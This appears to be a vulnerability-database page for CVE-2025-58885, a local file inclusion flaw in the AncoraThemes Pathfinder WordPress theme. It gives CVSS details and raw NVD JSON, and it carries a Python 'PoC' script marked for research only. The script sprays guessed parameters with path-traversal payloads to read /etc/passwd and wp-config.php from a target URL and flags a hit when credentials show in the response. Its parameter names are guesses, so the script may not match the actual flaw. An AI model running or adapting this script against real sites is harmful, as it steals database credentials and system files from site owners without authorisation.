Security Vulnerability Report
中文
CVE-2025-58885 CVSS 8.1 HIGH

CVE-2025-58885

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Pathfinder pathfinder allows PHP Local File Inclusion.This issue affects Pathfinder: from n/a through <= 1.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:pathfinder:*:*:*:*:*:wordpress:*:* - VULNERABLE
AncoraThemes Pathfinder <= 1.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_cve_2025_58885(target_url): """ CVE-2025-58885 PoC - Pathfinder Theme LFI Target: AncoraThemes Pathfinder WordPress Theme <= 1.16 """ # Common vulnerable parameters for pathfinder theme vulnerable_params = ['file', 'page', 'template', 'view', 'action'] # Payload to read system files payloads = [ '../../../../../../etc/passwd', '../../../../wp-config.php', '../../../../../../var/www/html/wp-config.php' ] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-58885 - Pathfinder Theme LFI Exploitation") for param in vulnerable_params: for payload in payloads: try: exploit_url = f"{target_url}/?{param}={payload}" response = requests.get(exploit_url, timeout=10) # Check for successful exploitation if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Content extracted successfully") return True except Exception as e: print(f"[-] Error: {e}") continue print("[*] No vulnerable parameter found or target not affected") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") exploit_cve_2025_58885(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58885", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.777", "lastModified": "2026-04-27T19:16:15.500", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Pathfinder pathfinder allows PHP Local File Inclusion.This issue affects Pathfinder: from n/a through <= 1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:pathfinder:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.16", "matchCriteriaId": "42DE197F-1FF3-42B7-A3E8-D14C21A6ADD6"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/pathfinder/vulnerability/wordpress-pathfinder-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}